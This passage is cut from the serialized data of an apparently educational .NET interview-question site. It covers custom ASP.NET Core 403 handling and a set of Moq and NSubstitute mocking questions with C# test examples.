of plain 403:\n            context.Response.StatusCode  = StatusCodes.Status403Forbidden;\n            context.Response.ContentType = \"application\u002Fproblem+json\";\n            await context.Response.WriteAsJsonAsync(new\n            {\n                type   = \"https:\u002F\u002Ftools.ietf.org\u002Fhtml\u002Frfc7231#section-6.5.3\",\n                title  = \"Forbidden\",\n                status = 403,\n                detail = \"You do not have permission to perform this action.\",\n                failedRequirements = authorizeResult.AuthorizationFailure\n                    .FailedRequirements\n                    .Select(r => r.GetType().Name),\n            });\n            return;\n        }\n\n        await _default.HandleAsync(next, context, policy, authorizeResult);\n    }\n}\n\n\u002F\u002F Register (replaces the default handler):\nbuilder.Services.AddSingleton\u003CIAuthorizationMiddlewareResultHandler,\n    CustomAuthorizationResultHandler>();\n\n\u002F\u002F Option 2 — UseStatusCodePages for simple HTML\u002Ftext responses:\napp.UseStatusCodePages(async ctx =>\n{\n    if (ctx.HttpContext.Response.StatusCode == 403)\n    {\n        ctx.HttpContext.Response.ContentType = \"application\u002Fjson\";\n        await ctx.HttpContext.Response.WriteAsJsonAsync(new { error = \"Access denied\" });\n    }\n});\n\n\u002F\u002F Option 3 — for cookie auth: customize the redirect rather than status code:\n.AddCookie(options =>\n{\n    options.Events.OnRedirectToAccessDenied = ctx =>\n    {\n        ctx.Response.StatusCode  = 403;\n        ctx.Response.ContentType = \"application\u002Fjson\";\n        return ctx.Response.WriteAsJsonAsync(new { error = \"Forbidden\" });\n    };\n});\n```\n\n**Rule of thumb:** Implement `IAuthorizationMiddlewareResultHandler` for API projects\nthat need RFC 7807 Problem Details on every auth failure. For cookie-based web apps,\noverride the `OnRedirectToAccessDenied` event to avoid a redirect loop on API calls.\n",{"description":94},"ASP.NET Core authorization interview questions — policy-based authorization, custom requirements and handlers, resource-based auth, and dynamic policies.","dotnet\u002Fsecurity\u002Fauthorization","poPHLcUwjB4ywKfYyLuq9jnCR6iHgEEXN1QM0X4F8JA",{"id":1216,"title":1217,"body":1218,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":1222,"navigation":99,"order":29,"path":1223,"questions":1224,"questionsCount":163,"related":164,"seo":1285,"seoDescription":1286,"stem":1287,"subtopic":1217,"topic":73,"topicSlug":74,"updated":168,"__hash__":1288},"qa\u002Fdotnet\u002Ftesting\u002Fmocking.md","Mocking",{"type":91,"value":1219,"toc":1220},[],{"title":94,"searchDepth":29,"depth":29,"links":1221},[],{},"\u002Fdotnet\u002Ftesting\u002Fmocking",[1225,1229,1233,1237,1241,1245,1249,1253,1257,1261,1265,1269,1273,1277,1281],{"id":1226,"difficulty":104,"q":1227,"a":1228},"what-is-mocking","What is mocking and why is it used in unit tests?","**Mocking** replaces a real dependency with a controllable substitute that\nrecords calls and returns predetermined values. It isolates the unit under\ntest from slow, unreliable, or side-effecting collaborators.\n\n```csharp\n\u002F\u002F Without mocking — test depends on a live email server:\npublic class OrderService\n{\n    private readonly SmtpEmailSender _emailSender;\n    public OrderService() => _emailSender = new SmtpEmailSender(); \u002F\u002F tight coupling\n\n    public void PlaceOrder(Order order)\n    {\n        \u002F\u002F ... business logic ...\n        _emailSender.Send(order.Email, \"Confirmed!\"); \u002F\u002F hits live SMTP in tests!\n    }\n}\n\n\u002F\u002F With mocking — inject an interface, replace in tests:\npublic class OrderService\n{\n    private readonly IEmailSender _emailSender;\n    public OrderService(IEmailSender emailSender) => _emailSender = emailSender;\n\n    public void PlaceOrder(Order order)\n    {\n        \u002F\u002F ... business logic ...\n        _emailSender.Send(order.Email, \"Confirmed!\");\n    }\n}\n\n\u002F\u002F In the test — Moq creates a fake IEmailSender:\nvar mockEmail = new Mock\u003CIEmailSender>();\nvar service   = new OrderService(mockEmail.Object);\nservice.PlaceOrder(new Order { Email = \"a@b.com\" });\n\n\u002F\u002F Verify the interaction without sending any real email:\nmockEmail.Verify(e => e.Send(\"a@b.com\", \"Confirmed!\"), Times.Once);\n```\n\n**Rule of thumb:** Mock collaborators at the boundary of the unit under test.\nDon't mock things you own and control — mock external dependencies (email,\ndatabase, HTTP, clock) where real execution would slow or break tests.\n",{"id":1230,"difficulty":104,"q":1231,"a":1232},"moq-setup-returns","How do you configure a mock to return a value using Moq?","Moq uses `Setup(...).Returns(...)` to configure what a mock returns when\na method is called with specific (or any) arguments.\n\n```csharp\nusing Moq;\n\nvar mockRepo = new Mock\u003CIProductRepository>();\n\n\u002F\u002F Return a specific value for exact arguments:\nmockRepo.Setup(r => r.GetById(42))\n        .Returns(new Product { Id = 42, Name = \"Widget\" });\n\n\u002F\u002F Return for ANY int argument — It.IsAny\u003CT>():\nmockRepo.Setup(r => r.GetById(It.IsAny\u003Cint>()))\n        .Returns(new Product { Id = 1, Name = \"Fallback\" });\n\n\u002F\u002F Return based on the argument value — It.Is\u003CT>(predicate):\nmockRepo.Setup(r => r.GetById(It.Is\u003Cint>(id => id > 0)))\n        .Returns\u003Cint>(id => new Product { Id = id, Name = $\"Product {id}\" });\n\n\u002F\u002F Return null (for reference types):\nmockRepo.Setup(r => r.GetById(999)).Returns((Product?)null);\n\n\u002F\u002F Throw an exception:\nmockRepo.Setup(r => r.GetById(-1))\n        .Throws\u003CArgumentOutOfRangeException>();\n\n\u002F\u002F Async methods — use ReturnsAsync:\nvar mockAsyncRepo = new Mock\u003CIProductRepository>();\nmockAsyncRepo.Setup(r => r.GetByIdAsync(42))\n             .ReturnsAsync(new Product { Id = 42 });\n\n\u002F\u002F Use the mock:\nvar product = mockRepo.Object.GetById(42); \u002F\u002F returns Widget\n```\n\n**Rule of thumb:** Prefer `It.IsAny\u003CT>()` for stubs where you only care about\nthe return value, and use exact argument matching only when the argument itself\nis what the test is validating.\n",{"id":1234,"difficulty":104,"q":1235,"a":1236},"moq-verify","How do you verify that a method was called on a mock using Moq?","`mock.Verify(...)` asserts that a method was called after the system under\ntest has run. If the expectation is not met, the test fails.\n\n```csharp\nvar mockEmailer = new Mock\u003CIEmailSender>();\nvar service     = new OrderService(mockEmailer.Object);\nservice.PlaceOrder(new Order { Email = \"user@example.com\", Total = 99m });\n\n\u002F\u002F Was it called exactly once with these specific args?\nmockEmailer.Verify(\n    e => e.Send(\"user@example.com\", It.IsAny\u003Cstring>()),\n    Times.Once);\n\n\u002F\u002F Was it called at least once?\nmockEmailer.Verify(e => e.Send(It.IsAny\u003Cstring>(), It.IsAny\u003Cstring>()),\n                   Times.AtLeastOnce);\n\n\u002F\u002F Was it NEVER called? (assert no interaction happened)\nmockEmailer.Verify(\n    e => e.Send(It.IsAny\u003Cstring>(), It.IsAny\u003Cstring>()),\n    Times.Never);\n\n\u002F\u002F Times options:\n\u002F\u002F Times.Once           — exactly 1 call\n\u002F\u002F Times.Never          — 0 calls\n\u002F\u002F Times.Exactly(n)     — exactly n calls\n\u002F\u002F Times.AtLeastOnce    — >= 1 call\n\u002F\u002F Times.AtMost(n)      — \u003C= n calls\n\u002F\u002F Times.Between(n, m, Range.Inclusive)\n\n\u002F\u002F VerifyAll — fails if any Setup was not called (requires explicit setups)\nmockEmailer.VerifyAll();\n\n\u002F\u002F VerifyNoOtherCalls — fails if any unexpected calls were made\nmockEmailer.VerifyNoOtherCalls();\n```\n\n**Rule of thumb:** `Verify` for interactions that are the test's primary\nassertion; `VerifyNoOtherCalls` to lock down that no unexpected side effects\noccurred.\n",{"id":1238,"difficulty":96,"q":1239,"a":1240},"strict-vs-loose-mocks","What is the difference between strict and loose mocks in Moq?","**Loose** (default) mocks return default values for any call without a\n`Setup`. **Strict** mocks throw `MockException` for any call that was not\nexplicitly configured.\n\n```csharp\n\u002F\u002F Loose mock — unconfigured methods return default values silently\nvar looseMock = new Mock\u003CIProductRepository>(); \u002F\u002F MockBehavior.Loose (default)\nlooseMock.Setup(r => r.GetById(1)).Returns(new Product());\n\nvar result = looseMock.Object.GetById(99); \u002F\u002F no setup — returns null (no exception)\nlooseMock.Object.Delete(99);               \u002F\u002F no setup — executes but does nothing\n\n\u002F\u002F Strict mock — any unconfigured call throws\nvar strictMock = new Mock\u003CIProductRepository>(MockBehavior.Strict);\nstrictMock.Setup(r => r.GetById(1)).Returns(new Product());\n\nvar r2 = strictMock.Object.GetById(1); \u002F\u002F OK — configured\n\u002F\u002F strictMock.Object.GetById(99);       \u002F\u002F throws MockException — not configured\n\u002F\u002F strictMock.Object.Delete(99);        \u002F\u002F throws MockException — not configured\n\n\u002F\u002F When strict makes sense:\n\u002F\u002F - You want to catch unexpected calls (no accidental side effects)\n\u002F\u002F - Writing exhaustive interaction tests\n\n\u002F\u002F When loose makes sense:\n\u002F\u002F - You only care about specific interactions\n\u002F\u002F - Setting up all paths in complex objects is noisy and fragile\n\u002F\u002F - The test is state-based (not interaction-based)\n```\n\nMost teams default to loose and use `VerifyNoOtherCalls()` selectively\nwhen they need the strict behaviour without the global rigidity.\n\n**Rule of thumb:** Start with loose mocks. Switch to strict when you are writing\nsecurity- or audit-critical code where unexpected calls are a bug, not a detail.\n",{"id":1242,"difficulty":96,"q":1243,"a":1244},"argument-matchers","What argument matchers does Moq provide and when do you use each?","Argument matchers let you write flexible setups and verifications that match\non conditions rather than exact values.\n\n```csharp\nvar mock = new Mock\u003CIOrderRepository>();\n\n\u002F\u002F It.IsAny\u003CT>() — match any value of that type\nmock.Setup(r => r.Save(It.IsAny\u003COrder>())).Returns(true);\n\n\u002F\u002F It.Is\u003CT>(predicate) — match a value satisfying a condition\nmock.Setup(r => r.Save(It.Is\u003COrder>(o => o.Total > 0 && o.CustomerId != Guid.Empty)))\n    .Returns(true);\n\n\u002F\u002F It.IsNotNull\u003CT>() — any non-null value\nmock.Setup(r => r.Save(It.IsNotNull\u003COrder>())).Returns(true);\n\n\u002F\u002F It.IsIn \u002F It.IsNotIn — value in a set\nmock.Setup(r => r.GetByStatus(It.IsIn(OrderStatus.Pending, OrderStatus.Processing)))\n    .Returns(new List\u003COrder>());\n\n\u002F\u002F It.IsRegex — string matching a pattern\nvar mockLogger = new Mock\u003CILogger\u003COrderService>>();\nmockLogger.Setup(l => l.Log(\n    LogLevel.Error,\n    It.IsAny\u003CEventId>(),\n    It.Is\u003CIt.IsAnyType>((v, t) => v.ToString()!.Contains(\"failed\")),\n    It.IsAny\u003CException>(),\n    It.IsAny\u003CFunc\u003CIt.IsAnyType, Exception?, string>>()));\n\n\u002F\u002F Capture arguments with Callback for later inspection:\nOrder? captured = null;\nmock.Setup(r => r.Save(It.IsAny\u003COrder>()))\n    .Callback\u003COrder>(o => captured = o)\n    .Returns(true);\n```\n\nMixing exact values and matchers in the same `Setup` call requires all arguments\nto use matchers — you cannot mix `It.IsAny\u003CT>()` with a literal in the same call.\n\n**Rule of thumb:** Use exact values when the argument is what you are testing,\n`It.IsAny\u003CT>()` when you just need a return value, and `It.Is\u003CT>(predicate)`\nwhen partial matching is needed.\n",{"id":1246,"difficulty":96,"q":1247,"a":1248},"mock-callbacks","How do you use Callback in Moq to capture or inspect method arguments?","`Callback` lets you run custom code when a mocked method is called — most\ncommonly to capture arguments for later assertions or to simulate side effects.\n\n```csharp\nvar mockRepo = new Mock\u003CIOrderRepository>();\nvar savedOrders = new List\u003COrder>();\n\n\u002F\u002F Capture all saved orders:\nmockRepo.Setup(r => r.Save(It.IsAny\u003COrder>()))\n        .Callback\u003COrder>(order => savedOrders.Add(order))\n        .Returns(true);\n\nvar service = new OrderService(mockRepo.Object);\nservice.PlaceOrder(new Order { Sku = \"X\", Quantity = 2 });\nservice.PlaceOrder(new Order { Sku = \"Y\", Quantity = 1 });\n\n\u002F\u002F Now inspect what was saved:\nAssert.Equal(2, savedOrders.Count);\nAssert.Equal(\"X\", savedOrders[0].Sku);\n\n\u002F\u002F Callback before return (chained):\nmockRepo.Setup(r => r.Save(It.IsAny\u003COrder>()))\n        .Callback\u003COrder>(o => Console.WriteLine($\"Saving {o.Sku}\"))\n        .Returns(true);\n\n\u002F\u002F Simulate a changing return value on successive calls:\nvar callCount = 0;\nmockRepo.Setup(r => r.GetPendingCount())\n        .Callback(() => callCount++)\n        .Returns(() => callCount * 10); \u002F\u002F returns 10 first call, 20 second, etc.\n\n\u002F\u002F Async version:\nmockRepo.Setup(r => r.SaveAsync(It.IsAny\u003COrder>()))\n        .Callback\u003COrder>(o => savedOrders.Add(o))\n        .ReturnsAsync(true);\n```\n\n**Rule of thumb:** Prefer `Verify` over `Callback` for interaction assertions —\nCallback is best when you need to capture a value or inspect complex argument\nstate that `Verify` cannot express inline.\n",{"id":1250,"difficulty":96,"q":1251,"a":1252},"mock-sequences","How do you set up a mock to return different values on successive calls?","Moq supports chaining `.Returns()` calls (via `SetupSequence`) or using a\nqueue pattern to configure different return values per invocation.\n\n```csharp\nvar mockRetry = new Mock\u003CIHttpClient>();\n\n\u002F\u002F SetupSequence — first call returns null, second returns a value\nmockRetry.SetupSequence(c => c.GetAsync(\"\u002Fapi\u002Fdata\"))\n         .Returns(Task.FromResult((string?)null))  \u002F\u002F 1st call\n         .Returns(Task.FromResult(\"{ \\\"ok\\\": true }\")) \u002F\u002F 2nd call\n         .Throws\u003CHttpRequestException>();            \u002F\u002F 3rd call → exception\n\n\u002F\u002F Use it to test retry logic:\nvar client  = new ResilienceClient(mockRetry.Object, maxRetries: 2);\nvar result  = await client.GetWithRetryAsync(\"\u002Fapi\u002Fdata\");\nAssert.Equal(\"{ \\\"ok\\\": true }\", result);\n\n\u002F\u002F Queue pattern using a list for more flexibility:\nvar responses = new Queue\u003Cint>(new[] { 503, 503, 200 });\nvar mockHttp  = new Mock\u003CIHttpClient>();\nmockHttp.Setup(c => c.GetStatusCodeAsync(It.IsAny\u003Cstring>()))\n        .ReturnsAsync(() => responses.Dequeue());\n\n\u002F\u002F Returns for a property that changes after a method call:\nvar mockContext = new Mock\u003CIAppContext>();\nvar isConnected = false;\nmockContext.Setup(c => c.Connect()).Callback(() => isConnected = true);\nmockContext.Setup(c => c.IsConnected).Returns(() => isConnected);\n```\n\n**Rule of thumb:** Use `SetupSequence` for testing retry\u002Fresilience logic where\ncall order matters. For state that changes in response to side effects, `Callback`\n+ a captured variable is cleaner.\n",{"id":1254,"difficulty":96,"q":1255,"a":1256},"nsubstitute-basics","How does NSubstitute differ from Moq in syntax and philosophy?","**NSubstitute** uses a leaner syntax that reads closer to plain C#. Instead of\nwrapping `Setup` and `Verify` in lambda expressions, it records the actual call\nand configures it in-place.\n\n```csharp\n\u002F\u002F Moq style:\nvar mock = new Mock\u003CICalculator>();\nmock.Setup(c => c.Add(2, 3)).Returns(5);\nvar result = mock.Object.Add(2, 3);\nmock.Verify(c => c.Add(2, 3), Times.Once);\n\n\u002F\u002F NSubstitute equivalent:\nvar sub = Substitute.For\u003CICalculator>();\nsub.Add(2, 3).Returns(5);          \u002F\u002F returns configured on the actual call\nvar result = sub.Add(2, 3);\nsub.Received(1).Add(2, 3);         \u002F\u002F verify after the fact\n\n\u002F\u002F Argument matchers in NSubstitute:\nsub.Add(Arg.Any\u003Cint>(), Arg.Any\u003Cint>()).Returns(99);\nsub.Add(Arg.Is\u003Cint>(x => x > 0), 3).Returns(42);\n\n\u002F\u002F Throwing from NSubstitute:\nsub.Add(0, 0).Throws\u003CDivideByZeroException>();\n\n\u002F\u002F Async:\nvar asyncSub = Substitute.For\u003CIOrderRepository>();\nasyncSub.GetByIdAsync(Arg.Any\u003Cint>()).Returns(Task.FromResult(new Order()));\n\n\u002F\u002F Did NOT receive — verify no call:\nasyncSub.DidNotReceive().GetByIdAsync(999);\n```\n\nNSubstitute defaults to loose behavior (unconfigured calls return defaults).\nIt does not have a strict mode, but `ReceivedCalls()` can be inspected manually.\n\n**Rule of thumb:** If you find Moq's lambda syntax noisy, try NSubstitute —\nsmaller, cleaner setup lines with the same power. The choice is largely preference;\nboth integrate with xUnit and produce equally reliable tests.\n",{"id":1258,"difficulty":206,"q":1259,"a":1260},"mock-protected-internal","How do you mock protected or internal members in Moq?","By default, Moq can only mock virtual\u002Fabstract public members. To mock\nprotected or internal members, extra configuration is required.\n\n```csharp\n\u002F\u002F Mocking a protected virtual method:\npublic class EmailService\n{\n    protected virtual bool IsValidEmail(string email)\n        => email.Contains(\"@\");\n\n    public bool SendConfirmation(string email)\n    {\n        if (!IsValidEmail(email)) throw new ArgumentException(\"Bad email\");\n        \u002F\u002F ...send...\n        return true;\n    }\n}\n\n\u002F\u002F Moq — use Protected() extension:\nusing Moq.Protected;\n\nvar mockService = new Mock\u003CEmailService>();\nmockService.Protected()\n           .Setup\u003Cbool>(\"IsValidEmail\", ItExpr.IsAny\u003Cstring>())\n           .Returns(true);\n\n\u002F\u002F Internal members — use InternalsVisibleTo in production code:\n\u002F\u002F In AssemblyInfo.cs or csproj:\n[assembly: InternalsVisibleTo(\"DynamicProxyGenAssembly2\")] \u002F\u002F Moq's proxy assembly\n[assembly: InternalsVisibleTo(\"MyApp.Tests\")]\n\n\u002F\u002F internal interface can then be mocked normally:\ninternal interface IInternalService { int Compute(); }\nvar mock = new Mock\u003CIInternalService>();\nmock.Setup(s => s.Compute()).Returns(42);\n\n\u002F\u002F Alternative: avoid mocking internals — test them through the public API,\n\u002F\u002F or extract the logic into a testable pure function.\n```\n\nTesting through protected members tightly couples tests to implementation. Only\ndo this when the protected hook is an intentional extension point.\n\n**Rule of thumb:** Prefer testing through the public API. If you find yourself\nmocking protected members frequently, consider extracting the behavior to a\ncollaborating interface instead.\n",{"id":1262,"difficulty":96,"q":1263,"a":1264},"avoiding-over-mocking","What is over-mocking and how do you avoid it?","**Over-mocking** means replacing too many collaborators with mocks, creating\ntests that verify the implementation (call graph) rather than the behavior\n(observable outcomes). Such tests break on every refactor even when the behavior\nstays correct.\n\n```csharp\n\u002F\u002F Over-mocked — tests every internal call; fragile:\n[Fact]\npublic void PlaceOrder_OverMocked()\n{\n    var mockValidator  = new Mock\u003CIOrderValidator>();\n    var mockRepo       = new Mock\u003CIOrderRepository>();\n    var mockEmailer    = new Mock\u003CIEmailSender>();\n    var mockAuditLog   = new Mock\u003CIAuditLogger>();\n    var mockPricer     = new Mock\u003CIPricingEngine>();\n\n    mockValidator.Setup(v => v.Validate(It.IsAny\u003COrder>())).Returns(true);\n    mockPricer.Setup(p => p.Price(It.IsAny\u003COrder>())).Returns(100m);\n    \u002F\u002F ...configure 3 more mocks...\n\n    \u002F\u002F Verify ALL internal calls — test breaks if internals are refactored:\n    mockValidator.Verify(v => v.Validate(It.IsAny\u003COrder>()), Times.Once);\n    mockPricer.Verify(p => p.Price(It.IsAny\u003COrder>()), Times.Once);\n    mockAuditLog.Verify(a => a.Log(It.IsAny\u003Cstring>()), Times.Once);\n}\n\n\u002F\u002F Better — mock only external \u002F slow \u002F side-effecting dependencies:\n[Fact]\npublic void PlaceOrder_FocusedMock()\n{\n    \u002F\u002F Only mock what crosses a process boundary or has side effects:\n    var mockEmailer = new Mock\u003CIEmailSender>(); \u002F\u002F side effect: sends email\n    var mockRepo    = new Mock\u003CIOrderRepository>(); \u002F\u002F side effect: writes DB\n    mockRepo.Setup(r => r.Save(It.IsAny\u003COrder>())).Returns(true);\n\n    var service = new OrderService(\n        new OrderValidator(),   \u002F\u002F real implementation\n        mockRepo.Object,\n        new PricingEngine(),    \u002F\u002F real implementation\n        mockEmailer.Object);\n\n    service.PlaceOrder(new Order { Sku = \"X\", Quantity = 1 });\n\n    \u002F\u002F Assert behavior, not call graph:\n    mockEmailer.Verify(e => e.Send(It.IsAny\u003Cstring>(), It.IsAny\u003Cstring>()), Times.Once);\n}\n```\n\n**Rule of thumb:** Only mock collaborators that cross a process or I\u002FO boundary.\nUse real implementations for same-process logic. If replacing a real object with\na mock does not make the test faster or more reliable, skip the mock.\n",{"id":1266,"difficulty":206,"q":1267,"a":1268},"mocking-httpclient","How do you mock HttpClient in .NET unit tests?","`HttpClient` is a concrete class, not an interface, making it awkward to mock\ndirectly. The standard approach is to mock the underlying `HttpMessageHandler`.\n\n```csharp\n\u002F\u002F Option 1: mock HttpMessageHandler (low-level but precise):\npublic class MockHttpMessageHandler : HttpMessageHandler\n{\n    private readonly HttpResponseMessage _response;\n    public MockHttpMessageHandler(HttpResponseMessage response)\n        => _response = response;\n\n    protected override Task\u003CHttpResponseMessage> SendAsync(\n        HttpRequestMessage request, CancellationToken ct)\n        => Task.FromResult(_response);\n}\n\n[Fact]\npublic async Task GetProduct_ReturnsDeserializedProduct()\n{\n    var json     = \"\"\"{\"id\":1,\"name\":\"Widget\"}\"\"\";\n    var handler  = new MockHttpMessageHandler(\n        new HttpResponseMessage(HttpStatusCode.OK)\n        {\n            Content = new StringContent(json, Encoding.UTF8, \"application\u002Fjson\")\n        });\n    var httpClient = new HttpClient(handler) { BaseAddress = new Uri(\"https:\u002F\u002Fapi.example.com\") };\n    var service    = new ProductService(httpClient);\n\n    var product = await service.GetProductAsync(1);\n\n    Assert.Equal(\"Widget\", product.Name);\n}\n\n\u002F\u002F Option 2: inject IHttpClientFactory and mock it (recommended in ASP.NET Core):\nvar mockFactory = new Mock\u003CIHttpClientFactory>();\nmockFactory.Setup(f => f.CreateClient(It.IsAny\u003Cstring>()))\n           .Returns(new HttpClient(handler) { BaseAddress = new Uri(\"https:\u002F\u002Fapi.example.com\") });\n\n\u002F\u002F Option 3: third-party — RichardSzalay.MockHttp (fluent syntax):\n\u002F\u002F var mockHttp = new MockHttpMessageHandler();\n\u002F\u002F mockHttp.When(\"\u002Fproducts\u002F1\").Respond(\"application\u002Fjson\", json);\n\u002F\u002F var client = mockHttp.ToHttpClient();\n```\n\n**Rule of thumb:** Always inject `HttpClient` or `IHttpClientFactory` via\ndependency injection — never `new HttpClient()` inside a class. That makes\nthe handler swappable in tests.\n",{"id":1270,"difficulty":206,"q":1271,"a":1272},"mock-readonly-properties","How do you mock a property that has no setter in Moq?","Moq can mock read-only (get-only) properties on interfaces. For classes,\nthe property must be `virtual`. Concrete properties without `virtual`\ncannot be mocked.\n\n```csharp\n\u002F\u002F Interface with get-only property — Moq handles it easily:\npublic interface IUserContext\n{\n    string UserId { get; }\n    bool   IsAdmin { get; }\n}\n\nvar mockCtx = new Mock\u003CIUserContext>();\nmockCtx.Setup(c => c.UserId).Returns(\"user-42\");\nmockCtx.Setup(c => c.IsAdmin).Returns(true);\n\n\u002F\u002F Verify property access (rarely needed; prefer asserting behavior):\nmockCtx.VerifyGet(c => c.IsAdmin, Times.Once);\n\n\u002F\u002F Class with virtual get-only property:\npublic class AppContext\n{\n    public virtual string TenantId { get; } = \"default\";\n}\n\nvar mockAppCtx = new Mock\u003CAppContext>();\nmockAppCtx.Setup(c => c.TenantId).Returns(\"tenant-99\");\n\n\u002F\u002F Auto-property setup — SetupAllProperties() populates all settable properties:\nvar mockConfig = new Mock\u003CIConfiguration>();\nmockConfig.SetupAllProperties();\nmockConfig.Object.ConnectionString = \"...\"; \u002F\u002F now works for settable properties\n\n\u002F\u002F If the property is concrete and non-virtual you cannot mock it:\n\u002F\u002F Either refactor the class to use an interface,\n\u002F\u002F or use a wrapper class that implements the interface.\n```\n\n**Rule of thumb:** Design production classes to expose dependencies through\ninterfaces. If you're fighting Moq to mock a concrete property, it's usually\na sign the class needs an interface.\n",{"id":1274,"difficulty":206,"q":1275,"a":1276},"mock-events","How do you raise events on a mock object using Moq?","Moq can simulate event raising on a mocked interface so you can test code\nthat subscribes to events without wiring up a real event source.\n\n```csharp\npublic interface IStockTickerService\n{\n    event EventHandler\u003CPriceChangedEventArgs> PriceChanged;\n    void Start();\n}\n\npublic class PortfolioMonitor\n{\n    private readonly IStockTickerService _ticker;\n    public decimal LastPrice { get; private set; }\n\n    public PortfolioMonitor(IStockTickerService ticker)\n    {\n        _ticker = ticker;\n        _ticker.PriceChanged += OnPriceChanged;\n    }\n\n    private void OnPriceChanged(object? sender, PriceChangedEventArgs e)\n        => LastPrice = e.NewPrice;\n}\n\n[Fact]\npublic void PortfolioMonitor_WhenPriceChanges_UpdatesLastPrice()\n{\n    var mockTicker = new Mock\u003CIStockTickerService>();\n\n    \u002F\u002F Subscribe the real object to the mock's event:\n    var monitor = new PortfolioMonitor(mockTicker.Object);\n\n    \u002F\u002F Raise the event on the mock — passes args to all subscribers:\n    mockTicker.Raise(\n        t => t.PriceChanged += null,\n        new PriceChangedEventArgs { Symbol = \"ACME\", NewPrice = 42.50m });\n\n    Assert.Equal(42.50m, monitor.LastPrice);\n\n    \u002F\u002F Raise multiple times to test accumulated state:\n    mockTicker.Raise(\n        t => t.PriceChanged += null,\n        new PriceChangedEventArgs { Symbol = \"ACME\", NewPrice = 55.00m });\n\n    Assert.Equal(55.00m, monitor.LastPrice);\n}\n```\n\nFor `EventHandler` (no custom args), pass `EventArgs.Empty` as the second\nargument to `Raise`. For `Action`-based events (common in modern APIs),\nuse `Raise` with a matching delegate signature.\n\n**Rule of thumb:** Use `mock.Raise(...)` to test event-driven code without\nbuilding a real event source. Keep raised events simple — complex event\nchoreography is a sign the subscriber needs its own unit test.\n",{"id":1278,"difficulty":96,"q":1279,"a":1280},"automocking-containers","What is an auto-mocking container and when is it useful?","An **auto-mocking container** (such as `AutoMocker` from Moq.AutoMock or\n`AutoFixture` + `AutoMoqCustomization`) automatically creates mocks for all\nconstructor dependencies, so tests only configure the mocks they care about.\n\n```csharp\n\u002F\u002F Without auto-mocking — boilerplate grows with every new dependency:\n[Fact]\npublic void WithoutAutoMock_BoilerplateHeavy()\n{\n    var mockRepo    = new Mock\u003CIOrderRepository>();\n    var mockEmailer = new Mock\u003CIEmailSender>();\n    var mockLogger  = new Mock\u003CILogger\u003COrderService>>();\n    var mockClock   = new Mock\u003CIClock>();\n    \u002F\u002F ...and so on for every constructor param\n\n    var service = new OrderService(\n        mockRepo.Object, mockEmailer.Object,\n        mockLogger.Object, mockClock.Object);\n\n    mockRepo.Setup(r => r.Save(It.IsAny\u003COrder>())).Returns(true);\n    service.PlaceOrder(new Order { Sku = \"X\" });\n    mockEmailer.Verify(e => e.Send(It.IsAny\u003Cstring>(), It.IsAny\u003Cstring>()), Times.Once);\n}\n\n\u002F\u002F With AutoMocker — only touch the mocks that matter:\n\u002F\u002F dotnet add package Moq.AutoMock\n[Fact]\npublic void WithAutoMock_LessBoilerplate()\n{\n    var mocker  = new AutoMocker();\n\n    \u002F\u002F AutoMocker resolves all constructor params automatically:\n    var service = mocker.CreateInstance\u003COrderService>();\n\n    \u002F\u002F Configure only what this test cares about:\n    mocker.GetMock\u003CIOrderRepository>()\n          .Setup(r => r.Save(It.IsAny\u003COrder>()))\n          .Returns(true);\n\n    service.PlaceOrder(new Order { Sku = \"X\" });\n\n    \u002F\u002F Verify on the auto-created mock:\n    mocker.GetMock\u003CIEmailSender>()\n          .Verify(e => e.Send(It.IsAny\u003Cstring>(), It.IsAny\u003Cstring>()), Times.Once);\n}\n```\n\nAuto-mocking containers also insulate tests from constructor signature\nchanges — adding a new dependency does not break existing tests that do\nnot use that dependency.\n\n**Rule of thumb:** Introduce an auto-mocking container when a class has\nfour or more injected dependencies and most tests only touch one or two\nof them. For simpler classes, manual `new Mock\u003CT>()` is less magic and\neasier to read.\n",{"id":1282,"difficulty":206,"q":1283,"a":1284},"mock-abstract-class","How do you mock an abstract class in Moq?","Moq can mock abstract classes directly — it creates a concrete subclass at\nruntime. Only `abstract` and `virtual` members can be overridden; concrete\nmembers run their real implementation.\n\n```csharp\npublic abstract class ReportGenerator\n{\n    \u002F\u002F Abstract — must be overridden; Moq will mock this:\n    public abstract IEnumerable\u003Cstring> FetchData();\n\n    \u002F\u002F Virtual — can be overridden in tests:\n    public virtual string FormatRow(string row) => row.ToUpperInvariant();\n\n    \u002F\u002F Concrete — Moq cannot intercept this; real code runs:\n    public string BuildReport()\n    {\n        var rows = FetchData();           \u002F\u002F will call mock\n        return string.Join(\"\\n\", rows.Select(FormatRow));\n    }\n}\n\n[Fact]\npublic void BuildReport_FormatsAllFetchedRows()\n{\n    var mockGen = new Mock\u003CReportGenerator>();\n\n    \u002F\u002F Setup the abstract method:\n    mockGen.Setup(g => g.FetchData())\n           .Returns(new[] { \"alpha\", \"beta\", \"gamma\" });\n\n    \u002F\u002F CallBase = true makes concrete methods (BuildReport) execute for real:\n    mockGen.CallBase = true;\n\n    var report = mockGen.Object.BuildReport();\n\n    Assert.Contains(\"ALPHA\", report);\n    Assert.Contains(\"BETA\",  report);\n}\n\n\u002F\u002F Mocking only the virtual override to inject alternative formatting:\nmockGen.Setup(g => g.FormatRow(It.IsAny\u003Cstring>()))\n       .Returns\u003Cstring>(r => $\"[{r}]\");\n\n\u002F\u002F Warning: do not mock concrete (non-virtual) methods —\n\u002F\u002F Moq will silently ignore the Setup and the real method runs instead.\n```\n\nSetting `mock.CallBase = true` is essential when testing a concrete method\non an abstract class — without it the concrete method returns the default\nvalue instead of executing real logic.\n\n**Rule of thumb:** Prefer interfaces over abstract classes for dependencies\nyou intend to mock. Mock abstract classes only when the class provides shared\nconcrete behavior (a template method pattern) that you want to test through.\n",{"description":94},"Mocking interview questions — Moq Setup and Verify, NSubstitute, strict vs loose mocks, argument matchers, callback captures, and over-mocking.","dotnet\u002Ftesting\u002Fmocking","OeEbaBeaQ1vAOz8V04fbRETn4y8T0s3pKy9cMEf13VA",{"id":1290,"title":1291,"body":1292,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":1296,"navigation":99,"order":38,"path":1297,"questions":1298,"questionsCount":163,"related":164,"seo":1359,"seoDescription":1360,"stem":1361,"subtopic":1362,"topic":37,"topicSlug":39,"updated":168,"__hash__":1363},"qa\u002Fdotnet\u002Faspnet-core\u002Fcontrollers-actions.md","Controllers 